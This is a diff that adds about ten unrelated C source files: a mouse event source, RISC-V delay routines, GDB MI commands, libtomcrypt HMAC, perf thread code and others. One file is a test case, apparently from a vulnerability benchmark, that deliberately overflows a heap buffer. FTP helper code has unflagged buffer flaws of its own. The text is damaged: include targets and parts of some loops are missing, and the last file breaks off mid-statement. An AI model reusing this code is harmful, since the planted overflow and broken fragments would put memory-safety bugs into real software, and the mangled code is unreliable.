+*/ + + +#include +#include +#include +#include +#include "mmm.h" +#include "host.h" +#include "linux-evsource.h" + +/* written to work with the zforce ir touchscreen of a kobo glo, + * probably works with a range of /dev/input/event classs of + * touchscreens. + */ + +static int mice_has_event (); +static char *mice_get_event (); +static void mice_destroy (); +static int mice_get_fd (EvSource *ev_source); +static void mice_set_coord (EvSource *ev_source, double x, double y); + +static EvSource ev_src_mice = { + NULL, + (void*)mice_has_event, + (void*)mice_get_event, + (void*)mice_destroy, + mice_get_fd, + mice_set_coord +}; + +typedef struct Mice +{ + int fd; + double x; + double y; + int prev_state; +} Mice; + +Mice *_mrg_evsrc_coord = NULL; + +int is_active (Host *host); + +void _mmm_get_coords (Mmm *mmm, double *x, double *y) +{ + if (!_mrg_evsrc_coord) + return; + if (x) + *x = _mrg_evsrc_coord->x; + if (y) + *y = _mrg_evsrc_coord->y; +} + +static Mice mice; +static Mice* mrg_mice_this = &mice; + +static int mmm_evsource_mice_init () +{ + unsigned char reset[]={0xff}; + /* need to detect which event */ + + mrg_mice_this->prev_state = 0; + mrg_mice_this->fd = open ("/dev/input/mice", O_RDONLY | O_NONBLOCK); + if (mrg_mice_this->fd == -1) + { + fprintf (stderr, "error opening /dev/input/mice device, maybe add to input group if such group exist, or otherwise make the rights be satisfied.\n"); +// sleep (1); + return -1; + } + write (mrg_mice_this->fd, reset, 1); + _mrg_evsrc_coord = mrg_mice_this; + return 0; +} + +static void mice_destroy () +{ + if (mrg_mice_this->fd != -1) + close (mrg_mice_this->fd); +} + +static int mice_has_event () +{ + struct timeval tv; + int retval; + + if (mrg_mice_this->fd == -1) + return 0; + + fd_set rfds; + FD_ZERO (&rfds); + FD_SET(mrg_mice_this->fd, &rfds); + tv.tv_sec = 0; tv.tv_usec = 0; + retval = select (mrg_mice_this->fd+1, &rfds, NULL, NULL, &tv); + if (retval == 1) + return FD_ISSET (mrg_mice_this->fd, &rfds); + return 0; +} + +static char *mice_get_event () +{ + const char *ret = "mouse-motion"; + double relx, rely; + signed char buf[3]; + read (mrg_mice_this->fd, buf, 3); + relx = buf[1]; + rely = -buf[2]; + + mrg_mice_this->x += relx; + mrg_mice_this->y += rely; + + if ((mrg_mice_this->prev_state & 1) != (buf[0] & 1)) + { + if (buf[0] & 1) + { + ret = "mouse-press"; + } + else + { + ret = "mouse-release"; + } + } + else if (buf[0] & 1) + ret = "mouse-drag"; + + mrg_mice_this->prev_state = buf[0]; + + if (!is_active (ev_src_mice.priv)) + return NULL; + + { + char *r = malloc (64); + sprintf (r, "%s %.0f %.0f %i", ret, mrg_mice_this->x, mrg_mice_this->y, mrg_mice_this->fd); + return r; + } + + return NULL; +} + +static int mice_get_fd (EvSource *ev_source) +{ + return mrg_mice_this->fd; +} + +static void mice_set_coord (EvSource *ev_source, double x, double y) +{ + mrg_mice_this->x = x; + mrg_mice_this->y = y; +} + +EvSource *evsource_mice_new (void) +{ + if (mmm_evsource_mice_init () == 0) + { + mrg_mice_this->x = 0; + mrg_mice_this->y = 0; + return &ev_src_mice; + } + return NULL; +} diff --git a/pool/shard011/C/0142164_delay.c b/pool/shard011/C/0142164_delay.c new file mode 100644 index 0000000000000000000000000000000000000000..dce8ae24c6d33b4ca3ebd0c19c3650f1ce890bde --- /dev/null +++ b/pool/shard011/C/0142164_delay.c @@ -0,0 +1,111 @@ +/* + * Copyright (C) 2012 Regents of the University of California + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation, version 2. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include + +/* + * This is copies from arch/arm/include/asm/delay.h + * + * Loop (or tick) based delay: + * + * loops = loops_per_jiffy * jiffies_per_sec * delay_us / us_per_sec + * + * where: + * + * jiffies_per_sec = HZ + * us_per_sec = 1000000 + * + * Therefore the constant part is HZ / 1000000 which is a small + * fractional number. To make this usable with integer math, we + * scale up this constant by 2^31, perform the actual multiplication, + * and scale the result back down by 2^31 with a simple shift: + * + * loops = (loops_per_jiffy * delay_us * UDELAY_MULT) >> 31 + * + * where: + * + * UDELAY_MULT = 2^31 * HZ / 1000000 + * = (2^31 / 1000000) * HZ + * = 2147.483648 * HZ + * = 2147 * HZ + 483648 * HZ / 1000000 + * + * 31 is the biggest scale shift value that won't overflow 32 bits for + * delay_us * UDELAY_MULT assuming HZ <= 1000 and delay_us <= 2000. + */ +#define MAX_UDELAY_US 2000 +#define MAX_UDELAY_HZ 1000 +#define UDELAY_MULT (2147UL * HZ + 483648UL * HZ / 1000000UL) +#define UDELAY_SHIFT 31 + +#if HZ > MAX_UDELAY_HZ +#error "HZ > MAX_UDELAY_HZ" +#endif + +/* + * RISC-V supports both UDELAY and NDELAY. This is largely the same as above, + * but with different constants. I added 10 bits to the shift to get this, but + * the result is that I need a 64-bit multiply, which is slow on 32-bit + * platforms. + * + * NDELAY_MULT = 2^41 * HZ / 1000000000 + * = (2^41 / 1000000000) * HZ + * = 2199.02325555 * HZ + * = 2199 * HZ + 23255550 * HZ / 1000000000 + * + * The maximum here is to avoid 64-bit overflow, but it isn't checked as it + * won't happen. + */ +#define MAX_NDELAY_NS (1ULL << 42) +#define MAX_NDELAY_HZ MAX_UDELAY_HZ +#define NDELAY_MULT ((unsigned long long)(2199ULL * HZ + 23255550ULL * HZ / 1000000000ULL)) +#define NDELAY_SHIFT 41 + +#if HZ > MAX_NDELAY_HZ +#error "HZ > MAX_NDELAY_HZ" +#endif + +void __delay(unsigned long cycles) +{ + u64 t0 = get_cycles(); + + while ((unsigned long)(get_cycles() - t0) < cycles) + cpu_relax(); +} +EXPORT_SYMBOL(__delay); + +void udelay(unsigned long usecs) +{ + unsigned long ucycles = usecs * lpj_fine * UDELAY_MULT; + + if (unlikely(usecs > MAX_UDELAY_US)) { + __delay((u64)usecs * riscv_timebase / 1000000ULL); + return; + } + + __delay(ucycles >> UDELAY_SHIFT); +} +EXPORT_SYMBOL(udelay); + +void ndelay(unsigned long nsecs) +{ + /* + * This doesn't bother checking for overflow, as it won't happen (it's + * an hour) of delay. + */ + unsigned long long ncycles = nsecs * lpj_fine * NDELAY_MULT; + __delay(ncycles >> NDELAY_SHIFT); +} +EXPORT_SYMBOL(ndelay); diff --git a/pool/shard011/C/0142165_asonq.c b/pool/shard011/C/0142165_asonq.c new file mode 100644 index 0000000000000000000000000000000000000000..dd1a2abca797e16277a38c09d3f19cdc4bff2990 --- /dev/null +++ b/pool/shard011/C/0142165_asonq.c @@ -0,0 +1,158 @@ +/** + * Copyright © 2013, 2014 Red Hat, Casey Dahlin + * + * This file is part of libason. + * + * libason is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * libason is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with libason. If not, see . + **/ + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include + +/** + * Connect a new ASON namespace. + **/ +static void +connect(const char *line, ason_ns_t *ns) +{ + ason_ns_t *sub; + char *name; + const char *pos; + + while (isspace(*line)) + line++; + + pos = line; + + while (isalpha(*pos) || isdigit(*pos) || *pos == '_') + pos++; + + if (*pos && !isspace(*pos)) { + printf("Invalid namespace name\n"); + return; + } + + name = strndup(line, pos - line); + + if (! name) + errx(1, "Out of Memory"); + + while (isspace(*pos)) + pos++; + + sub = ason_ns_connect(pos); + + if (! sub) { + printf("Could not connect\n"); + return; + } + + if (! ason_ns_attach(sub, ns, name)) { + printf("Namespace already exists"); + ason_ns_destroy(sub); + } + + free(name); +} + +/** + * Process a non-ASON command. + **/ +static int +command(const char *line, ason_ns_t *ns) +{ + if (*(line++) != '}') + return 0; + + if (! strcmp(line, "quit")) + exit(0); + else if (!strncmp(line, "connect", 7)) + connect(line + 7, ns); + else + printf("Command not recognized\n"); + + return 1; +} + +/** + * A simple ASON REPL shell. + **/ +int +main(void) +{ + ason_ns_t *ns = ason_ns_create(ASON_NS_RAM, ""); + char *line; + ason_t *value; + wordexp_t exp; + + if (wordexp("~/.asonq", &exp, 0)) + errx(1, "Could not perform shell expansion"); + + if (! ns) + errx(1, "Could not create namespace"); + + using_history(); + read_history(exp.we_wordv[0]); + + for (;;) { + line = readline("> "); + + if (! line) { + printf("\n"); + break; + } + + if (! *line) { + free(line); + continue; + } + + add_history(line); + write_history(exp.we_wordv[0]); + + if (command(line, ns)) { + free(line); + continue; + } + + value = ason_ns_read(ns, line); + + free(line); + + if (! value) { + printf("Syntax Error\n"); + continue; + } + + line = ason_asprint_unicode(value); + + if (! line) + errx(1, "Could not serialize value"); + + printf("%s\n", line); + free(line); + } +} diff --git a/pool/shard011/C/0142166_CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07.c b/pool/shard011/C/0142166_CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07.c new file mode 100644 index 0000000000000000000000000000000000000000..1e0280ee51099bc8b93f53762f0506781362f11a --- /dev/null +++ b/pool/shard011/C/0142166_CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07.c @@ -0,0 +1,140 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07.c +Label Definition File: CWE122_Heap_Based_Buffer_Overflow__CWE131.label.xml +Template File: sources-sink-07.tmpl.c +*/ +/* + * @description + * CWE: 122 Heap Based Buffer Overflow + * BadSource: Allocate memory without using sizeof(int) + * GoodSource: Allocate memory using sizeof(int) + * Sink: loop + * BadSink : Copy array to data using a loop + * Flow Variant: 07 Control flow: if(staticFive==5) and if(staticFive!=5) + * + * */ + +#include "std_testcase.h" + +/* The variable below is not declared "const", but is never assigned + * any other value so a tool should be able to identify that reads of + * this will always give its initialized value. + */ +static int staticFive = 5; + +#ifndef OMITBAD + +void CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07_bad() +{ + int * data; + data = NULL; + if(staticFive==5) + { + /* FLAW: Allocate memory without using sizeof(int) */ + data = (int *)malloc(10); + if (data == NULL) {exit(-1);} + } + { + int source[10] = {0}; + size_t i; + /* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */ + for (i = 0; i < 10; i++) + { + data[i] = source[i]; + } + printIntLine(data[0]); + free(data); + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B1() - use goodsource and badsink by changing the staticFive==5 to staticFive!=5 */ +static void goodG2B1() +{ + int * data; + data = NULL; + if(staticFive!=5) + { + /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ + printLine("Benign, fixed string"); + } + else + { + /* FIX: Allocate memory using sizeof(int) */ + data = (int *)malloc(10*sizeof(int)); + if (data == NULL) {exit(-1);} + } + { + int source[10] = {0}; + size_t i; + /* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */ + for (i = 0; i < 10; i++) + { + data[i] = source[i]; + } + printIntLine(data[0]); + free(data); + } +} + +/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ +static void goodG2B2() +{ + int * data; + data = NULL; + if(staticFive==5) + { + /* FIX: Allocate memory using sizeof(int) */ + data = (int *)malloc(10*sizeof(int)); + if (data == NULL) {exit(-1);} + } + { + int source[10] = {0}; + size_t i; + /* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */ + for (i = 0; i < 10; i++) + { + data[i] = source[i]; + } + printIntLine(data[0]); + free(data); + } +} + +void CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07_good() +{ + goodG2B1(); + goodG2B2(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE122_Heap_Based_Buffer_Overflow__CWE131_loop_07_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0142167_mi-cmd-file.c b/pool/shard011/C/0142167_mi-cmd-file.c new file mode 100644 index 0000000000000000000000000000000000000000..22cb99532a8c53291d5878b3ca1256c5b6c98ff1 --- /dev/null +++ b/pool/shard011/C/0142167_mi-cmd-file.c @@ -0,0 +1,115 @@ +/* MI Command Set - breakpoint and watchpoint commands. + Copyright (C) 2000, 2001, 2002, 2007, 2008, 2009, 2010, 2011 + Free Software Foundation, Inc. + Contributed by Cygnus Solutions (a Red Hat company). + + This file is part of GDB. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#include "defs.h" +#include "mi-cmds.h" +#include "mi-getopt.h" +#include "ui-out.h" +#include "symtab.h" +#include "source.h" +#include "objfiles.h" +#include "psymtab.h" + +/* Return to the client the absolute path and line number of the + current file being executed. */ + +void +mi_cmd_file_list_exec_source_file (char *command, char **argv, int argc) +{ + struct symtab_and_line st; + struct ui_out *uiout = current_uiout; + + if (!mi_valid_noargs ("-file-list-exec-source-file", argc, argv)) + error (_("-file-list-exec-source-file: Usage: No args")); + + /* Set the default file and line, also get them */ + set_default_source_symtab_and_line (); + st = get_current_source_symtab_and_line (); + + /* We should always get a symtab. + Apparently, filename does not need to be tested for NULL. + The documentation in symtab.h suggests it will always be correct */ + if (!st.symtab) + error (_("-file-list-exec-source-file: No symtab")); + + /* Extract the fullname if it is not known yet */ + symtab_to_fullname (st.symtab); + + /* Print to the user the line, filename and fullname */ + ui_out_field_int (uiout, "line", st.line); + ui_out_field_string (uiout, "file", st.symtab->filename); + + /* We may not be able to open the file (not available). */ + if (st.symtab->fullname) + ui_out_field_string (uiout, "fullname", st.symtab->fullname); + + ui_out_field_int (uiout, "macro-info", st.symtab->macro_table ? 1 : 0); +} + +/* A callback for map_partial_symbol_filenames. */ +static void +print_partial_file_name (const char *filename, const char *fullname, + void *ignore) +{ + struct ui_out *uiout = current_uiout; + + ui_out_begin (uiout, ui_out_type_tuple, NULL); + + ui_out_field_string (uiout, "file", filename); + + if (fullname) + ui_out_field_string (uiout, "fullname", fullname); + + ui_out_end (uiout, ui_out_type_tuple); +} + +void +mi_cmd_file_list_exec_source_files (char *command, char **argv, int argc) +{ + struct ui_out *uiout = current_uiout; + struct symtab *s; + struct objfile *objfile; + + if (!mi_valid_noargs ("-file-list-exec-source-files", argc, argv)) + error (_("-file-list-exec-source-files: Usage: No args")); + + /* Print the table header */ + ui_out_begin (uiout, ui_out_type_list, "files"); + + /* Look at all of the symtabs */ + ALL_SYMTABS (objfile, s) + { + ui_out_begin (uiout, ui_out_type_tuple, NULL); + + ui_out_field_string (uiout, "file", s->filename); + + /* Extract the fullname if it is not known yet */ + symtab_to_fullname (s); + + if (s->fullname) + ui_out_field_string (uiout, "fullname", s->fullname); + + ui_out_end (uiout, ui_out_type_tuple); + } + + map_partial_symbol_filenames (print_partial_file_name, NULL); + + ui_out_end (uiout, ui_out_type_list); +} diff --git a/pool/shard011/C/0142168_objtable.c b/pool/shard011/C/0142168_objtable.c new file mode 100644 index 0000000000000000000000000000000000000000..8c55cd5bc682f2818b33f9a686c1622315f59737 --- /dev/null +++ b/pool/shard011/C/0142168_objtable.c @@ -0,0 +1,117 @@ +/* + * Copyright (C)2005-2012 Haxe Foundation + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + * DEALINGS IN THE SOFTWARE. + */ +#include +#include "objtable.h" + +int otable_remove( objtable *t, field id ) { + int min = 0; + int max = t->count; + int mid; + field cid; + objcell *c = t->cells; + if( !max ) + return 0; + while( min < max ) { + mid = (min + max) >> 1; + cid = c[mid].id; + if( cid < id ) + min = mid + 1; + else if( cid > id ) + max = mid; + else { + t->count--; + while( mid < t->count ) { + c[mid] = c[mid+1]; + mid++; + } + c[mid].v = val_null; + return 1; + } + } + return 0; +} + +void otable_optimize( objtable *t ) { + int max = t->count; + int i; + int cur = 0; + objcell *c = t->cells; + for(i=0;icount = cur; +} + +void otable_replace( objtable *t, field id, value data ) { + int min = 0; + int max = t->count; + int mid; + field cid; + objcell *c = t->cells; + while( min < max ) { + mid = (min + max) >> 1; + cid = c[mid].id; + if( cid < id ) + min = mid + 1; + else if( cid > id ) + max = mid; + else { + c[mid].v = data; + return; + } + } + mid = (min + max) >> 1; + c = (objcell*)alloc(sizeof(objcell)*(t->count + 1)); + min = 0; + while( min < mid ) { + c[min] = t->cells[min]; + min++; + } + c[mid].id = id; + c[mid].v = data; + while( min < t->count ) { + c[min+1] = t->cells[min]; + min++; + } + t->cells = c; + t->count++; +} + +void otable_copy( objtable *t, objtable *target ) { + target->count = t->count; + target->cells = (objcell*)alloc(sizeof(objcell)*t->count); + memcpy(target->cells,t->cells,sizeof(objcell)*t->count); +} + +void otable_iter(objtable *t, void f( value data, field id, void *), void *p ) { + int i; + int n = t->count; + objcell *c = t->cells; + for(i=0;ihash; + if((err = hash_is_valid(hash)) != CRYPT_OK) { + return err; + } + + /* get the hash message digest size */ + hashsize = hash_descriptor[hash].hashsize; + + /* allocate buffers */ + buf = XMALLOC(LTC_HMAC_BLOCKSIZE); + isha = XMALLOC(hashsize); + if (buf == NULL || isha == NULL) { + if (buf != NULL) { + XFREE(buf); + } + if (isha != NULL) { + XFREE(isha); + } + return CRYPT_MEM; + } + + /* Get the hash of the first LTC_HMAC vector plus the data */ + if ((err = hash_descriptor[hash].done(&hmac->md, isha)) != CRYPT_OK) { + goto LBL_ERR; + } + + /* Create the second LTC_HMAC vector vector for step (3) */ + for(i=0; i < LTC_HMAC_BLOCKSIZE; i++) { + buf[i] = hmac->key[i] ^ 0x5C; + } + + /* Now calculate the "outer" hash for step (5), (6), and (7) */ + if ((err = hash_descriptor[hash].init(&hmac->md)) != CRYPT_OK) { + goto LBL_ERR; + } + if ((err = hash_descriptor[hash].process(&hmac->md, buf, LTC_HMAC_BLOCKSIZE)) != CRYPT_OK) { + goto LBL_ERR; + } + if ((err = hash_descriptor[hash].process(&hmac->md, isha, hashsize)) != CRYPT_OK) { + goto LBL_ERR; + } + if ((err = hash_descriptor[hash].done(&hmac->md, buf)) != CRYPT_OK) { + goto LBL_ERR; + } + + /* copy to output */ + for (i = 0; i < hashsize && i < *outlen; i++) { + out[i] = buf[i]; + } + *outlen = i; + + err = CRYPT_OK; +LBL_ERR: + XFREE(hmac->key); +#ifdef LTC_CLEAN_STACK + zeromem(isha, hashsize); + zeromem(buf, hashsize); + zeromem(hmac, sizeof(*hmac)); +#endif + + XFREE(isha); + XFREE(buf); + + return err; +} + +#endif + +/* $Source: /cvs/libtom/libtomcrypt/src/mac/hmac/hmac_done.c,v $ */ +/* $Revision: 1.7 $ */ +/* $Date: 2007/05/12 14:37:41 $ */ diff --git a/pool/shard011/C/0142170_gnomevfs-monitor.c b/pool/shard011/C/0142170_gnomevfs-monitor.c new file mode 100644 index 0000000000000000000000000000000000000000..80ce57bcdf568743bcd2c407f044a7217a12f7ec --- /dev/null +++ b/pool/shard011/C/0142170_gnomevfs-monitor.c @@ -0,0 +1,156 @@ +/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 8; tab-width: 8 -*- */ +/* gnomevfs-monitor.c - Test for file/directory monitoring in gnome-vfs + + Copyright (C) 2005 Christian Kellner + + The Gnome Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public License as + published by the Free Software Foundation; either version 2 of the + License, or (at your option) any later version. + + The Gnome Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public + License along with the Gnome Library; see the file COPYING.LIB. If not, + write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, + Boston, MA 02111-1307, USA. + + Author: Chrsitian Kellner +*/ + +#include + +#include +#include +#include +#include + +#include "authentication.c" + +static void +monitor_event (GnomeVFSMonitorHandle *handle, + const gchar *monitor_uri, + const gchar *info_uri, + GnomeVFSMonitorEventType event_type, + gpointer user_data) +{ + if (! g_str_equal ((char *) user_data, "user_data")) { + g_critical ("user_data corruption\n"); + } + + switch (event_type) { + + case GNOME_VFS_MONITOR_EVENT_CHANGED: + g_print ("Changed event:\n"); + break; + + case GNOME_VFS_MONITOR_EVENT_DELETED: + g_print ("Deleted event:\n"); + break; + + case GNOME_VFS_MONITOR_EVENT_STARTEXECUTING: + g_print ("Start executing event:\n"); + break; + + case GNOME_VFS_MONITOR_EVENT_STOPEXECUTING: + g_print ("Stop executing event:\n"); + break; + + case GNOME_VFS_MONITOR_EVENT_CREATED: + g_print ("Created event:\n"); + break; + + case GNOME_VFS_MONITOR_EVENT_METADATA_CHANGED: + g_print ("Metadata changed event:\n"); + break; + + default: + g_assert_not_reached (); + } + + g_print (" -> monitor_uri: %s\n", monitor_uri); + g_print (" -> info_uri: %s\n", info_uri); +} + +static GMainLoop *loop = NULL; + +static void stop_mainloop (int s) +{ + g_print ("Stopping monitor\n"); + g_main_loop_quit (loop); +} + + +int +main (int argc, char **argv) +{ + GnomeVFSResult result; + GnomeVFSMonitorType mtype; + GnomeVFSMonitorHandle *handle; + GnomeVFSFileInfo *info; + char *text_uri; + + if (argc != 2) { + printf ("Usage: %s \n", argv[0]); + return 1; + } + + if (!gnome_vfs_init ()) { + fprintf (stderr, "Cannot initialize gnome-vfs.\n"); + return 1; + } + + command_line_authentication_init (); + + text_uri = gnome_vfs_make_uri_from_shell_arg (argv[1]); + + if (text_uri == NULL) { + fprintf (stderr, "Could not create uri from location\n"); + return -1; + } + + info = gnome_vfs_file_info_new (); + result = gnome_vfs_get_file_info (text_uri, info, 0); + + if (result != GNOME_VFS_OK) { + fprintf (stderr, "Could not get file info for %s\n", text_uri); + g_free (text_uri); + return -1; + } + + g_print ("Starting monitor for %s\n", text_uri); + + if (info->type == GNOME_VFS_FILE_TYPE_DIRECTORY) { + mtype = GNOME_VFS_MONITOR_DIRECTORY; + } else { + mtype = GNOME_VFS_MONITOR_FILE; + } + + gnome_vfs_file_info_unref (info); + result = gnome_vfs_monitor_add (&handle, + text_uri, + mtype, + monitor_event, + "user_data"); + + if (result != GNOME_VFS_OK) { + fprintf (stderr, "Could not start monitor for %s\n", text_uri); + g_free (text_uri); + return -1; + } + + loop = g_main_loop_new (NULL, FALSE); + signal (SIGINT, stop_mainloop); + + g_main_loop_run (loop); + + gnome_vfs_monitor_cancel (handle); + g_free (text_uri); + gnome_vfs_shutdown (); + + return 0; +} + diff --git a/pool/shard011/C/0142171_common.c b/pool/shard011/C/0142171_common.c new file mode 100644 index 0000000000000000000000000000000000000000..0c2006d7126ede248a3426bdde58681c204aae63 --- /dev/null +++ b/pool/shard011/C/0142171_common.c @@ -0,0 +1,171 @@ +#include "common.h" + + +void pp(char * input){ + char *output[strlen(input) + 3]; + + sprintf(output,"\n%s\n",input); + printf("%s", output); +} + +/** + * Recepcion de n bytes + */ +int readn(int fd, void *vptr, size_t n) +{ + size_t nleft; + ssize_t nread; + char *ptr; + + ptr = vptr; + nleft = n; + while (nleft > 0) { + if ( (nread = read(fd, ptr, nleft)) < 0) + return (-1); + else if (nread == 0) + break; + nleft -= nread; + ptr += nread; + } + return (n - nleft); +} +int dpos(char *data){ + int len = strlen(data); + for (int i = 0; i < len; i++){ + if (data[i] == ' ') + return i; + } + return 0; +} + +void parse_name(char *buff, char *name, int n){ + for (int i = 0; i < n; i++){ + name[i] = buff[i]; + } +} + +/** + * Envio de n bytes + */ +int writen(int fd, const void *vptr, size_t n) +{ + size_t nleft; + ssize_t nwritten; + const char *ptr; + + ptr = vptr; + nleft = n; + while (nleft > 0) { + if ( (nwritten = write(fd, ptr, nleft)) < 0) { + return (-1); + } + nleft -= nwritten; + ptr += nwritten; + } + return (n); +} + + +/* FTP INTERFACE + */ +int read_file(char * file_name, char *output){ + char rbuf[CHUNK]; + FILE *file; + size_t nread; + int size = 0; + + file = fopen(file_name, "r"); + + //read file using CHUNKS + if (file != NULL) { + while ((nread = fread(rbuf, 1, CHUNK, file)) > 0){ + //fwrite(rbuf, 1, nread, stdout); + memcpy(output, rbuf, nread); + output+=nread; + size+=nread; + } + + if (ferror(file)) + pp("ERROR READING FILE"); + } + else { + return -1; + + } + fclose(file); + return size; +} + + +int write_file(char * file_name, char *data, int len){ + + char wbuf[CHUNK]; + FILE *file; + size_t nwrite; + int size = 0; + + strcpy(wbuf, data); /* data */ + file = fopen(file_name, "w"); + + if (file != NULL){ + //while ((nwrite = fwrite(wbuf, 1, sizeof wbuf, file)) > 0){ + // size+=nwrite; + //} + size = fwrite(wbuf, 1, len, file); + + if (ferror(file)) + pp("ERROR READING FILE"); + } + else + return -1; + + fclose(file); + return size; +} + +int delete_file(char * file_name){ + int ret; + ret = remove(file_name); + + if(ret == 0) { + printf("File deleted successfully"); + } + else { + printf("Error: unable to delete the file"); + } + + return ret; +} + + +/**/ + + + +unsigned short cdata_to_op(char * cdata) +{ + unsigned short op; + + if (strcmp(cdata, "get") == 0) { // match! + pp("performing get operation"); + op = OP_GET; + } + else if (strcmp(cdata, "put") == 0) { // not matche + pp("performing put operation"); + op = OP_PUT; + } + else if (strcmp(cdata, "rm") == 0) { // not matche + pp("performing rm operation"); + op = OP_RM; + } + else if (strcmp(cdata, "ls") == 0) { // not matche + pp("performing ls operation"); + op = OP_LS; + } + else { + pp ("error!"); + op= OP_ERR; + } + + return op; +} diff --git a/pool/shard011/C/0142172_thread.c b/pool/shard011/C/0142172_thread.c new file mode 100644 index 0000000000000000000000000000000000000000..15c7640ef508ed938e0822e3600f521bd19c3549 --- /dev/null +++ b/pool/shard011/C/0142172_thread.c @@ -0,0 +1,140 @@ +#include "../perf.h" +#include +#include +#include +#include "session.h" +#include "thread.h" +#include "util.h" +#include "debug.h" + +static struct thread *thread__new(pid_t pid) +{ + struct thread *self = zalloc(sizeof(*self)); + + if (self != NULL) { + map_groups__init(&self->mg); + self->pid = pid; + self->comm = malloc(32); + if (self->comm) + snprintf(self->comm, 32, ":%d", self->pid); + } + + return self; +} + +void thread__delete(struct thread *self) +{ + map_groups__exit(&self->mg); + free(self->comm); + free(self); +} + +int thread__set_comm(struct thread *self, const char *comm) +{ + int err; + + if (self->comm) + free(self->comm); + self->comm = strdup(comm); + err = self->comm == NULL ? -ENOMEM : 0; + if (!err) { + self->comm_set = true; + map_groups__flush(&self->mg); + } + return err; +} + +int thread__comm_len(struct thread *self) +{ + if (!self->comm_len) { + if (!self->comm) + return 0; + self->comm_len = strlen(self->comm); + } + + return self->comm_len; +} + +static size_t thread__fprintf(struct thread *self, FILE *fp) +{ + return fprintf(fp, "Thread %d %s\n", self->pid, self->comm) + + map_groups__fprintf(&self->mg, verbose, fp); +} + +struct thread *machine__findnew_thread(struct machine *self, pid_t pid) +{ + struct rb_node **p = &self->threads.rb_node; + struct rb_node *parent = NULL; + struct thread *th; + + /* + + + + */ + if (self->last_match && self->last_match->pid == pid) + return self->last_match; + + while (*p != NULL) { + parent = *p; + th = rb_entry(parent, struct thread, rb_node); + + if (th->pid == pid) { + self->last_match = th; + return th; + } + + if (pid < th->pid) + p = &(*p)->rb_left; + else + p = &(*p)->rb_right; + } + + th = thread__new(pid); + if (th != NULL) { + rb_link_node(&th->rb_node, parent, p); + rb_insert_color(&th->rb_node, &self->threads); + self->last_match = th; + } + + return th; +} + +void thread__insert_map(struct thread *self, struct map *map) +{ + map_groups__fixup_overlappings(&self->mg, map, verbose, stderr); + map_groups__insert(&self->mg, map); +} + +int thread__fork(struct thread *self, struct thread *parent) +{ + int i; + + if (parent->comm_set) { + if (self->comm) + free(self->comm); + self->comm = strdup(parent->comm); + if (!self->comm) + return -ENOMEM; + self->comm_set = true; + } + + for (i = 0; i < MAP__NR_TYPES; ++i) + if (map_groups__clone(&self->mg, &parent->mg, i) < 0) + return -ENOMEM; + return 0; +} + +size_t machine__fprintf(struct machine *machine, FILE *fp) +{ + size_t ret = 0; + struct rb_node *nd; + + for (nd = 